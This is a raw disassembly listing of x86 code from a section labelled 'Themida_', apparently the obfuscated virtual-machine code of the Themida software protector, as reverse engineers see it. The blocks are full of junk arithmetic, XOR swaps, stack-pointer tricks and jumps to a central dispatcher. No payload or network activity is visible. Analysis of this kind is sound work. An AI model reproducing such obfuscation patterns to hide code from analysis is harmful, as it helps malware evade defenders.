loc_593090:				; CODE XREF: Themida_:0058D687j
		push	edi
		jmp	loc_59705B
; ---------------------------------------------------------------------------


loc_593096:				; CODE XREF: sub_59196D-31BDj
		push	esi
		push	[esp+14h+var_12+2]
		push	[esp+18h+var_1A+2]
		pop	esi
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1E+2]
		pop	esp
		pop	[esp+18h+var_1A+2]
		pop	esp
		xor	byte ptr [esp+10h+var_12+2], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5930C1:				; CODE XREF: sub_5917FA-2D89j
		dec	bh
		and	bh, 0C4h
		shl	bh, 3
		dec	bh
		push	dx
		mov	dl, 63h
		jmp	loc_58D393
; ---------------------------------------------------------------------------


loc_5930D4:				; CODE XREF: sub_59196D-3AA7j
		pop	esp


loc_5930D5:				; CODE XREF: sub_59196D-1791j
		push	63F6h
		jmp	loc_591BA7
; ---------------------------------------------------------------------------


loc_5930DF:				; CODE XREF: sub_59196D+1F1Fj
		not	ecx
		xor	[esp+34h+var_36+2], ecx
		xor	ecx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], ecx
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		push	eax
		push	ebp
		pop	eax
		mov	ebp, [esp+34h+var_36+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	503Bh
		mov	[esp+0], ecx
		push	79A3h
		mov	[esp+3Ch+var_3C], edi
		push	ebx
		mov	ebx, 2607428Ch
		shl	ebx, 2
		jmp	loc_595330
; ---------------------------------------------------------------------------


loc_593127:				; CODE XREF: sub_59196D-F5Ej
		mov	edx, 7A449C6h
		push	edx
		not	[esp+14h+var_16+2]
		jmp	loc_5910E9
; ---------------------------------------------------------------------------


loc_593135:				; CODE XREF: sub_59196D-3510j
		xchg	edi, [esp+40h+var_40]
		pop	esp
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_58EB56
; ---------------------------------------------------------------------------


loc_593145:				; CODE XREF: sub_59196D-487j
		push	7311h
		mov	[esp+12h+var_12], ebx
		push	2B8h
		mov	[esp+16h+var_16], edx
		mov	dh, 7Fh
		mov	bl, dh
		mov	edx, [esp+16h+var_16]
		add	esp, 4
		push	edx
		mov	dh, bl
		mov	ch, dh
		pop	edx
		push	[esp+12h+var_12]
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		add	esp, 4
		add	al, 40h
		add	al, ch
		jmp	loc_590AEA
; ---------------------------------------------------------------------------


loc_593180:				; CODE XREF: sub_59196D+631Dj
		pop	edx
		pop	ebx
		add	al, 70h
		jmp	loc_590D54
; ---------------------------------------------------------------------------


loc_593189:				; CODE XREF: Themida_:0058FDABj
		or	ecx, 520B68F3h
		shr	ecx, 1
		sub	ecx, 397FB677h
		add	eax, ecx
		jmp	loc_58D1BB
; ---------------------------------------------------------------------------


loc_59319E:				; CODE XREF: sub_59196D+5D89j
		xor	[esp+6+var_8+2], ebx
		xor	ebx, [esp+6+var_8+2]
		pop	esp
		rol	word ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5931AF:				; CODE XREF: sub_59196D+6060j
		add	eax, edi
		jmp	loc_593998
; ---------------------------------------------------------------------------


loc_5931B6:				; CODE XREF: sub_59196D-5A34j
		neg	edi
		not	edi
		jmp	loc_59040F
; ---------------------------------------------------------------------------


loc_5931BF:				; CODE XREF: sub_59196D+140Fj
		mov	[esp+1Ch+var_1E+2], ebp
		mov	ebp, 3DEE0C06h
		or	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_598217
; ---------------------------------------------------------------------------


loc_5931D0:				; CODE XREF: sub_59196D:loc_594B2Aj
		shl	ebp, 6
		jns	loc_58E367
		jmp	loc_595808
; ---------------------------------------------------------------------------


loc_5931DE:				; CODE XREF: sub_58B85F+5079j
		add	edi, esi
		push	[esp+1Ch+var_1E+2]
		pop	esi
		add	esp, 4
		jmp	loc_58CF67
; ---------------------------------------------------------------------------


loc_5931EF:				; CODE XREF: sub_59196D+11Fj
		mov	edx, 0
		push	edi
		mov	edi, edx
		jmp	loc_595CBA
; ---------------------------------------------------------------------------


loc_5931FC:				; CODE XREF: sub_59196D-20B3j
		push	edx
		jmp	loc_595F82
; ---------------------------------------------------------------------------


loc_593202:				; CODE XREF: sub_59196D-2A79j
		pop	edi
		push	eax
		push	580C573Bh
		pop	eax
		add	eax, 24F12760h
		xor	edx, eax
		pop	eax
		sub	edx, 7ED97A3Eh
		add	edx, edi
		add	edx, 7ED97A3Eh
		push	ebx
		jmp	loc_58E10D
; ---------------------------------------------------------------------------


loc_593226:				; CODE XREF: sub_59196D+43F4j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		add	edx, 14D6824h
		jmp	loc_59228E
; ---------------------------------------------------------------------------


loc_593237:				; CODE XREF: sub_59196D-5A76j
		push	esi
		inc	[esp+18h+var_1A+2]
		pop	esi
		add	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 984ECAEAh
		sub	esi, ebp
		pop	ebp
		jmp	loc_58D12F
; ---------------------------------------------------------------------------


loc_593250:				; CODE XREF: sub_59196D+33D9j
		push	ebx
		jmp	loc_596F3A
; ---------------------------------------------------------------------------


loc_593256:				; CODE XREF: sub_59196D-123Fj
		add	dword ptr [edi+20h], 10A44600h
		sub	esp, 4
		jmp	loc_591C8C
; ---------------------------------------------------------------------------


loc_593268:				; CODE XREF: sub_59196D+6BCBj
		and	cl, 8Fh
		dec	cl
		jmp	loc_58CD3F
; ---------------------------------------------------------------------------


loc_593272:				; CODE XREF: sub_59196D-5F41j
		xchg	edx, [esp+20h+var_22+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	3F69h
		jmp	loc_58DE97
; ---------------------------------------------------------------------------


loc_59328F:				; CODE XREF: sub_59196D-2972j
		sub	eax, 663953F0h
		push	esi
		mov	esi, 149B465Eh
		sub	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp-10h+arg_C], edx
		push	esi
		jmp	loc_58B438
; ---------------------------------------------------------------------------


loc_5932AC:				; CODE XREF: sub_58ED05+20j
					; sub_59196D+1C2Ej
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp-10h+arg_C]
		pop	esp
		add	edi, 2
		xchg	edi, [esp-14h+arg_10]
		jmp	loc_58CE86
; ---------------------------------------------------------------------------


loc_5932BE:				; CODE XREF: sub_59196D-3BB0j
		not	edi
		add	edi, 96FF9EE7h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_58E1F4
; ---------------------------------------------------------------------------


loc_5932D4:				; CODE XREF: sub_59196D+5598j
		inc	al
		jmp	loc_5943E1
; ---------------------------------------------------------------------------


loc_5932DB:				; CODE XREF: sub_59196D-39F5j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5932E0:				; CODE XREF: sub_59196D-FA2j
					; sub_59196D+408Aj
		mov	edx, [esp+12h+var_12]
		jmp	loc_593A24
; ---------------------------------------------------------------------------


loc_5932E8:				; CODE XREF: sub_591526+Ej
		or	eax, 5E2C7108h
		jmp	loc_5926B0
; ---------------------------------------------------------------------------


loc_5932F2:				; CODE XREF: sub_59196D:loc_58F2C8j
		inc	edx
		jl	loc_58D2FD
		jmp	loc_58F780
; ---------------------------------------------------------------------------
		push	edi
		mov	ebp, esi
		mov	ch, cl


loc_593303:				; CODE XREF: sub_59196D+3214j
		add	eax, 0C140B406h
		push	edx
		mov	edx, 239398Bh
		add	esi, edx
		pop	edx
		add	esi, eax
		jmp	loc_58C681
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+2Ah+var_2A], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_593327:				; CODE XREF: Themida_:0058CDE7j
		push	esi
		push	4
		pop	esi
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+2Eh+var_2E]
		pop	esp
		push	ebx
		push	2971h
		mov	[esp+32h+var_32], esp
		add	[esp+32h+var_32], 4
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_58E98A
; ---------------------------------------------------------------------------


loc_59335B:				; CODE XREF: sub_59196D-1F08j
		add	esp, 4
		jmp	sub_58B85F
; ---------------------------------------------------------------------------


loc_593366:				; CODE XREF: Themida_:0059189Aj
		push	esp
		pop	ebx
		add	ebx, 4
		push	22B0h
		jmp	loc_5903AC
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+52h+var_54+2]
		push	0F8Ah
		mov	[esp+0], eax
		jmp	loc_5939FD
; ---------------------------------------------------------------------------


loc_593389:				; CODE XREF: sub_59196D+2506j
		push	617h
		jmp	loc_58C9EE
; ---------------------------------------------------------------------------


loc_593393:				; CODE XREF: sub_59196D-580Fj
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		or	eax, eax
		jz	loc_58D266
		push	3F38h
		mov	[esp+0Ch+var_C], edx
		jmp	loc_598559
; ---------------------------------------------------------------------------


loc_5933B1:				; CODE XREF: sub_59196D-17BAj
		jmp	loc_596305
; ---------------------------------------------------------------------------


loc_5933B6:				; CODE XREF: sub_59196D-6170j
		pop	edi
		jmp	loc_594172
; ---------------------------------------------------------------------------


loc_5933BC:				; CODE XREF: sub_59196D-3B13j
					; sub_59196D+10ABj
		add	eax, 4
		push	2F30h
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_596C84
; ---------------------------------------------------------------------------


loc_5933CE:				; CODE XREF: sub_59196D+288j
					; sub_59196D+5614j
		mov	[esp+1Ch+var_1E+2], ecx
		jmp	loc_596366
; ---------------------------------------------------------------------------


loc_5933D6:				; CODE XREF: sub_59196D-1E1Dj
		xchg	ebp, [esp+12h+var_12]
		pop	esp
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_5947F1
; ---------------------------------------------------------------------------


loc_5933E6:				; CODE XREF: sub_59196D+540Fj
		mov	[esp], ebx
		push	edi
		jmp	loc_591C72
; ---------------------------------------------------------------------------


loc_5933EF:				; CODE XREF: sub_59196D+6AA8j
		dec	ebx
		push	ecx
		mov	ecx, 77217927h
		jmp	loc_591791
; ---------------------------------------------------------------------------


loc_5933FB:				; CODE XREF: sub_59196D+5FE0j
		pop	edi
		jmp	loc_5907A6
; ---------------------------------------------------------------------------


loc_593401:				; CODE XREF: sub_59196D-55AAj
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		shr	word ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59340F:				; CODE XREF: sub_59196D+5CDCj
		mov	[esp+10h+var_12+2], esp
		jmp	loc_58C0D6
; ---------------------------------------------------------------------------


loc_593417:				; CODE XREF: sub_59196D-2FCCj
		push	[esp+20h+var_22+2]
		pop	ecx
		sub	esp, 4
		jmp	loc_58FAA7
; ---------------------------------------------------------------------------


loc_593426:				; CODE XREF: sub_59196D+294j
		add	[esp+14h+var_12+2], 46395B4Ch
		add	[esp+14h+var_12+2], ebp
		sub	[esp+14h+var_12+2], 46395B4Ch
		pop	ebp
		mov	esi, [esp+10h+var_12+2]
		push	592Ah
		mov	[esp+14h+var_16+2], edx
		mov	edx, esp
		jmp	loc_5935B5
; ---------------------------------------------------------------------------


loc_59344D:				; CODE XREF: sub_59196D+2F3Ej
		neg	ebx
		jle	loc_58BDC3
		inc	ebx
		add	ebx, 195A1E3Bh
		jmp	loc_59752F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+14h+var_16+2]
		sub	esp, 4
		jmp	loc_58B830
; ---------------------------------------------------------------------------


loc_593470:				; CODE XREF: sub_59196D-32BBj
		pop	ebx
		push	esi
		mov	esi, edi
		push	esi
		add	[esp+4Eh+var_4E], 1B715271h
		pop	ecx
		push	ebp
		jmp	loc_58F7BD
; ---------------------------------------------------------------------------


loc_593483:				; CODE XREF: sub_59196D+51ACj
		pop	esi
		jmp	loc_590F69
; ---------------------------------------------------------------------------


loc_593489:				; CODE XREF: sub_59196D-2B77j
		push	[esp+24h+var_22+2]
		pop	eax
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		push	[esp+20h+var_22+2]
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		push	edi
		mov	edi, 3F6D7112h
		mov	esi, 3134091Fh
		jmp	loc_591C46
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Ch+var_2E+2]
		jmp	sub_59843D
; ---------------------------------------------------------------------------


loc_5934C6:				; CODE XREF: sub_59196D+2D4j
		push	[esp+14h+var_12+2]
		jmp	loc_58C516
; ---------------------------------------------------------------------------


loc_5934CF:				; CODE XREF: sub_59196D+6A13j
		push	edi
		mov	edi, 5BED5BA4h
		sub	ecx, 252F4F46h
		sub	ecx, edi
		add	ecx, 252F4F46h
		pop	edi
		sub	ecx, 9C030802h
		sub	edi, ecx
		pop	ecx
		sub	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ah
		xor	eax, ecx
		push	35E1h
		mov	[esp+10h+var_12+2], eax
		xor	[esp+10h+var_12+2], esi
		jmp	loc_591C1F
; ---------------------------------------------------------------------------


loc_593508:				; CODE XREF: sub_59196D+560Ej
					; sub_59196D+6494j
		jmp	loc_5922C9
; ---------------------------------------------------------------------------


loc_59350D:				; CODE XREF: sub_59196D-53DCj
					; sub_59196D-5332j
		add	esp, 4
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_58BCB5
; ---------------------------------------------------------------------------


loc_59351E:				; CODE XREF: sub_59196D+652j
		add	cl, 0FCh
		add	al, cl
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	al, cl
		push	ebx
		push	edx
		mov	dl, 60h
		mov	bh, dl
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		xor	bh, 98h
		jmp	loc_593DF6
; ---------------------------------------------------------------------------


loc_593545:				; CODE XREF: sub_59196D+4DFDj
		add	eax, 2
		jmp	loc_5919EF
; ---------------------------------------------------------------------------


loc_59354D:				; CODE XREF: sub_59196D-26AAj
		pop	[esp+28h+var_2A+2]
		jmp	loc_591C6A
; ---------------------------------------------------------------------------


loc_593555:				; CODE XREF: sub_59196D+4E16j
		sub	esp, 4
		jmp	loc_596E20
; ---------------------------------------------------------------------------


loc_59355D:				; CODE XREF: sub_59196D+597j
		push	esi
		jmp	loc_591A35
; ---------------------------------------------------------------------------


loc_593563:				; DATA XREF: Themida_:0058B19Co
		pop	small word ptr [edx]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59356B:				; CODE XREF: sub_59196D+4Ej
		xchg	edi, [esp+2Eh+var_2E]
		pop	esp
		mov	[esp+2Ah+var_2A], ebx
		push	[esp+2Ah+var_2A]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Eh+var_2E]
		pop	esp
		push	3CFCh
		jmp	loc_597F0C
; ---------------------------------------------------------------------------


loc_593590:				; CODE XREF: sub_59196D+40B4j
		pop	ebp
		jmp	loc_58C76F
; ---------------------------------------------------------------------------


loc_593596:				; CODE XREF: sub_59196D+64A0j
		mov	esi, 4
		jmp	loc_5932AC
; ---------------------------------------------------------------------------


loc_5935A0:				; CODE XREF: sub_59196D+67D0j
		mov	ecx, 37D04061h
		jmp	loc_58DCA4
; ---------------------------------------------------------------------------


loc_5935AA:				; CODE XREF: sub_59196D+37j
		sub	esp, 2
		jmp	loc_59558D
; ---------------------------------------------------------------------------


loc_5935B5:				; CODE XREF: sub_59196D+1ADBj
		add	edx, 4
		jmp	loc_58CBC6
; ---------------------------------------------------------------------------


loc_5935C0:				; CODE XREF: sub_59196D-18A8j
		add	dl, 0C3h
		and	ch, dl
		jmp	loc_593AA8
; ---------------------------------------------------------------------------


loc_5935CA:				; CODE XREF: sub_59196D-3BA0j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5935CF:				; CODE XREF: sub_59196D+5049j
		pop	edi
		pop	ebx
		jmp	loc_58B71B
; ---------------------------------------------------------------------------


loc_5935D6:				; CODE XREF: sub_59196D-2961j
		sub	eax, 61E0E03h
		jmp	loc_58E4C3
; ---------------------------------------------------------------------------
		push	[esp-14h+arg_10]
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		push	2B9Eh
		mov	[esp-10h+arg_C], eax
		jmp	loc_58D162
; ---------------------------------------------------------------------------


loc_5935F9:				; CODE XREF: sub_59196D-3A18j
		mov	[esp+30h+var_32+2], edx
		jmp	loc_594DD9
; ---------------------------------------------------------------------------


loc_593601:				; CODE XREF: sub_59196D-3EFEj
		add	esi, 2
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		rol	[esp+8+var_8], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_593616:				; CODE XREF: sub_59196D-3DADj
		mov	ebp, [esp+36h+var_36]
		jmp	loc_58F6C4
; ---------------------------------------------------------------------------


loc_59361E:				; CODE XREF: sub_59196D+5AEBj
					; sub_59196D+6B39j
		sub	ebx, 9C148D21h
		jmp	loc_596318
; ---------------------------------------------------------------------------


loc_593629:				; CODE XREF: sub_59196D-2291j
		pop	esp
		push	edx
		mov	dh, 45h
		push	6DC6h
		mov	[esp-8+arg_4], ecx
		push	edx
		jmp	loc_5908B1
; ---------------------------------------------------------------------------


loc_59363B:				; CODE XREF: sub_59196D-1116j
		mov	[esp+24h+var_26+2], edx
		mov	edx, 58720931h
		sub	edx, 2918690Fh
		not	edx
		neg	edx
		jle	loc_58B8AA
		sub	edx, 32F440C7h
		jmp	loc_58F2C8
; ---------------------------------------------------------------------------


loc_59365E:				; CODE XREF: sub_58C57F+75Bj
		mov	ecx, 5A584D8Bh
		mov	eax, ecx
		pop	ecx
		jmp	loc_590B10
; ---------------------------------------------------------------------------


loc_59366B:				; CODE XREF: sub_59196D+4229j
		sub	ebx, 57F677BAh
		jmp	loc_59378A
; ---------------------------------------------------------------------------


loc_593676:				; CODE XREF: sub_59196D+4CFBj
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 150E58EDh
		or	ebp, 4AC81E4Ah
		neg	ebp
		jmp	loc_59541F
; ---------------------------------------------------------------------------


loc_59368B:				; CODE XREF: sub_59196D-286j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	esp, 4
		imul	ecx
		jmp	loc_592907
; ---------------------------------------------------------------------------


loc_5936A5:				; CODE XREF: sub_59196D+4118j
		add	edx, 6EA81941h
		add	edx, edi
		sub	edx, 6EA81941h
		add	edx, 53E17CC0h
		push	edi
		jmp	loc_5959E3
; ---------------------------------------------------------------------------


loc_5936BF:				; CODE XREF: sub_59196D+4563j
		js	loc_58D347
		jmp	loc_58DBCE
; ---------------------------------------------------------------------------


loc_5936CA:				; CODE XREF: sub_58F42B-F12j
		push	edx
		mov	edx, 21553C60h
		push	ebp
		mov	ebp, 624250BBh
		shl	ebp, 2
		jmp	loc_58FFC3
; ---------------------------------------------------------------------------


loc_5936DE:				; CODE XREF: sub_59196D+1278j
					; sub_59196D+6627j
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_590E7E
; ---------------------------------------------------------------------------


loc_5936E7:				; CODE XREF: sub_59196D-C6Fj
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+24h+var_22+2]
		pop	esi
		pop	[esp+24h+var_26+2]
		jmp	loc_5906FA
; ---------------------------------------------------------------------------


loc_5936FF:				; CODE XREF: sub_58F533-2D41j
		xor	[esp+20h+var_22+2], esi
		xor	esi, [esp+20h+var_22+2]
		pop	esp
		push	0ABAh
		mov	[esp+20h+var_22+2], edi
		jmp	loc_58D609
; ---------------------------------------------------------------------------


loc_593713:				; CODE XREF: sub_59196D+D8Fj
		push	edx
		push	ebp
		jmp	loc_594A59
; ---------------------------------------------------------------------------


loc_59371A:				; CODE XREF: sub_59196D+4FD0j
		xor	[esp-10h+arg_C], esi
		xor	esi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]


loc_593723:				; CODE XREF: sub_59196D-582j
		push	ecx
		mov	ecx, 639A3F2Ch
		or	ecx, 49E10F10h
		jl	loc_58B764
		dec	ecx
		jmp	loc_5909DE
; ---------------------------------------------------------------------------


loc_59373B:				; CODE XREF: sub_59196D+4457j
		and	edi, 6690A53h
		jmp	loc_58F718
; ---------------------------------------------------------------------------


loc_593746:				; CODE XREF: sub_59196D+44E9j
		pop	eax
		pop	[esp-10h+arg_C]
		mov	esp, [esp-14h+arg_10]
		mov	[esp-14h+arg_10], edx
		push	esp
		jmp	loc_592C64
; ---------------------------------------------------------------------------


loc_593756:				; CODE XREF: sub_59196D+3AF8j
		sub	edx, esi
		pop	esi
		jmp	sub_58E0B1
; ---------------------------------------------------------------------------


loc_59375E:				; CODE XREF: sub_59196D+728j
		or	eax, eax
		jz	loc_5964DF
		push	dword ptr [edi+1Ch]
		push	[esp+2Ch+var_2E+2]
		push	[esp+30h+var_32+2]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+34h+var_36+2]
		add	esp, 4
		push	ebp
		jmp	loc_594A73
; ---------------------------------------------------------------------------


loc_59378A:				; CODE XREF: sub_59196D+1D04j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_590A95
; ---------------------------------------------------------------------------


loc_593795:				; CODE XREF: sub_59196D:loc_594D07j
		and	eax, 7E55142h
		jge	loc_5953B3
		xor	eax, 0CC2C7F0Ch
		mov	esi, eax
		pop	eax
		add	esi, edx
		pop	edx
		mov	ah, bh


loc_5937AD:				; CODE XREF: sub_58B60E+517Fj
		add	esp, 4
		jmp	loc_58B602
; ---------------------------------------------------------------------------


loc_5937B8:				; CODE XREF: sub_59196D+C69j
					; sub_59196D+58FDj
		or	edx, 3CAB5DCAh
		push	367Eh
		mov	[esp+40h+var_40], ecx
		mov	ecx, 28437C98h
		or	edx, ecx
		pop	ecx
		jmp	loc_59703E
; ---------------------------------------------------------------------------


loc_5937D3:				; DATA XREF: Themida_:0058B265o
		mov	ax, word ptr [esp+3Ch+var_3C]
		push	428Fh
		mov	[esp+40h+var_40], ebp
		push	2F87h
		jmp	loc_597EC3
; ---------------------------------------------------------------------------


loc_5937E9:				; CODE XREF: sub_59196D+545Ej
		push	6952h
		mov	[esp+48h+var_4A+2], ecx
		push	1C07h
		jmp	loc_5917A2
; ---------------------------------------------------------------------------


loc_5937FB:				; CODE XREF: sub_59196D-3A6Aj
		pop	[esp+34h+var_36+2]
		pop	esp
		mov	[esp+2Ch+var_2E+2], ebp
		push	1
		pop	ebp
		or	[edi+1Ch], ebp
		push	[esp+2Ch+var_2E+2]
		jmp	loc_58D649
; ---------------------------------------------------------------------------


loc_593813:				; CODE XREF: sub_59196D+2C3j
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		add	eax, 4
		push	41DCh
		jmp	loc_594462
; ---------------------------------------------------------------------------


loc_59382C:				; CODE XREF: sub_59196D+23F0j
		shr	ecx, 0Ah
		push	edx
		push	ebx
		xor	[esp+18h+var_1A+2], 7F14679Ah
		pop	edx
		jmp	loc_58E930
; ---------------------------------------------------------------------------


loc_59383E:				; CODE XREF: sub_59196D-47D8j
		pop	edx
		jmp	loc_591981
; ---------------------------------------------------------------------------


loc_593844:				; CODE XREF: sub_59196D-3636j
		not	edx
		xchg	edx, ecx
		xchg	ecx, esi
		jmp	loc_597952
; ---------------------------------------------------------------------------


loc_59384F:				; CODE XREF: sub_59196D+1247j
		add	edx, 2D205566h
		jmp	loc_596D81
; ---------------------------------------------------------------------------


loc_59385A:				; CODE XREF: sub_59196D+2F11j
		push	[esp+18h+var_1A+2]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_594264
; ---------------------------------------------------------------------------


loc_593871:				; CODE XREF: sub_59196D-1B1Cj
		sub	eax, 7EB10CB0h
		add	eax, 31F529DCh
		pop	edi
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_590C15
; ---------------------------------------------------------------------------


loc_593884:				; CODE XREF: sub_59196D+43A8j
		push	[esp+0Ch+var_8]
		pop	ecx
		pop	[esp+0Ch+var_C]
		jmp	loc_5930DF
; ---------------------------------------------------------------------------


loc_593891:				; CODE XREF: sub_59196D-1C37j
		mov	edx, esp
		jmp	loc_590C3E
; ---------------------------------------------------------------------------


loc_593898:				; CODE XREF: sub_59196D+5206j
		shr	esi, 1
		sub	esi, 102000Fh
		add	ebx, esi
		pop	esi
		push	esi
		push	0DDAh
		jmp	loc_5972D7
; ---------------------------------------------------------------------------


loc_5938AE:				; CODE XREF: sub_59196D+66DFj
		jmp	loc_58C25E
; ---------------------------------------------------------------------------


loc_5938B3:				; CODE XREF: sub_59196D-4704j
		push	[esp+36h+var_36]
		mov	ecx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	esi
		jmp	loc_596F62
; ---------------------------------------------------------------------------


loc_5938C5:				; CODE XREF: sub_59196D-3A7Aj
		pop	ebp
		add	eax, 4
		push	eax
		push	[esp+30h+var_2E+2]
		pop	eax
		pop	[esp+30h+var_32+2]
		pop	esp
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_590DC0
; ---------------------------------------------------------------------------


loc_5938DE:				; CODE XREF: sub_59196D+53CAj
		mov	[esp+24h+var_26+2], ebx
		push	[esp+24h+var_26+2]
		pop	eax
		jmp	loc_597C21
; ---------------------------------------------------------------------------


loc_5938EA:				; CODE XREF: sub_59196D+6856j
		pop	[esp+24h+var_26+2]
		add	[esp+20h+var_22+2], 4
		mov	ebp, [esp+20h+var_22+2]
		push	edi
		mov	edi, esp
		jmp	loc_593058
; ---------------------------------------------------------------------------


loc_5938FF:				; CODE XREF: sub_59196D-2A8Dj
		add	edx, 4A41659h
		mov	ebp, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	edx, eax
		push	7583h
		jmp	loc_594B8E
; ---------------------------------------------------------------------------


loc_59391A:				; CODE XREF: sub_59196D+3F9Ej
		push	[esp+3Ah+var_3C+2]
		pop	eax
		add	esp, 4
		or	ebx, ebx
		jnz	loc_59690A
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edx
		sub	[esp+3Ah+var_3C+2], 723A6739h
		pop	dword ptr [edi+20h]
		jmp	loc_59420B
; ---------------------------------------------------------------------------


loc_593941:				; CODE XREF: sub_59196D+B3Fj
		and	ebp, 23417AE9h
		jno	loc_58E6FA
		jmp	loc_592A2E
; ---------------------------------------------------------------------------
		add	eax, 676F20FFh
		push	eax
		pop	edx
		add	al, 0CBh
		push	eax


loc_59395C:				; CODE XREF: sub_59196D-1321j
					; sub_59196D+2DA6j
		and	ecx, 49F65E2Ch
		jmp	loc_592CFD
; ---------------------------------------------------------------------------


loc_593967:				; CODE XREF: sub_59196D:loc_58BCE9j
		jmp	loc_58E1EA
; ---------------------------------------------------------------------------


loc_59396C:				; CODE XREF: sub_59196D+4C7Bj
		dec	eax
		shr	eax, 7
		jmp	loc_592C19
; ---------------------------------------------------------------------------


loc_593975:				; CODE XREF: sub_59196D+44EFj
		pop	eax
		jmp	loc_591F52
; ---------------------------------------------------------------------------


loc_59397B:				; CODE XREF: sub_59196D-257Cj
					; sub_59196D+65B2j
		add	edi, 4
		jmp	loc_58ECB5
; ---------------------------------------------------------------------------


loc_593986:				; CODE XREF: sub_59196D+4E3Aj
		pop	dx
		jmp	loc_59861B
; ---------------------------------------------------------------------------


loc_59398D:				; CODE XREF: Themida_:0058CE7Cj
		mov	ecx, 62783858h
		push	edi
		jmp	loc_58C244
; ---------------------------------------------------------------------------


loc_593998:				; CODE XREF: sub_59196D+1844j
		pop	edi
		jmp	loc_5980CA
; ---------------------------------------------------------------------------


loc_59399E:				; CODE XREF: sub_59196D+2699j
					; sub_59196D+602Aj
		pop	esp
		jmp	loc_58F423
; ---------------------------------------------------------------------------


loc_5939A4:				; CODE XREF: sub_59196D+628Cj
		dec	ebx
		add	ebx, 6AB477Eh
		shr	ebx, 7
		not	ebx
		push	edx
		mov	edx, 0
		jmp	loc_5952A7
; ---------------------------------------------------------------------------


loc_5939BB:				; CODE XREF: sub_59196D+2D02j
					; sub_59196D+68A5j
		xor	edx, 1F114949h
		jmp	loc_592948
; ---------------------------------------------------------------------------


loc_5939C6:				; CODE XREF: sub_59069A-40A4j
		sub	ecx, 4C6D2EF1h
		sub	ecx, eax
		add	ecx, 4C6D2EF1h
		pop	eax
		jmp	loc_58C940
; ---------------------------------------------------------------------------


loc_5939DA:				; CODE XREF: sub_590CDB-444Fj
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58EF75
; ---------------------------------------------------------------------------


loc_5939E8:				; CODE XREF: Themida_:00590E93j
		mov	bh, 10h
		not	bh
		shl	bh, 7
		jmp	loc_58C337
; ---------------------------------------------------------------------------


loc_5939F4:				; CODE XREF: sub_59196D:loc_593BBFj
		xor	ah, 0EAh
		push	ebx
		jmp	loc_597EFE
; ---------------------------------------------------------------------------


loc_5939FD:				; CODE XREF: sub_59196D+1A17j
		mov	eax, esp
		push	edx
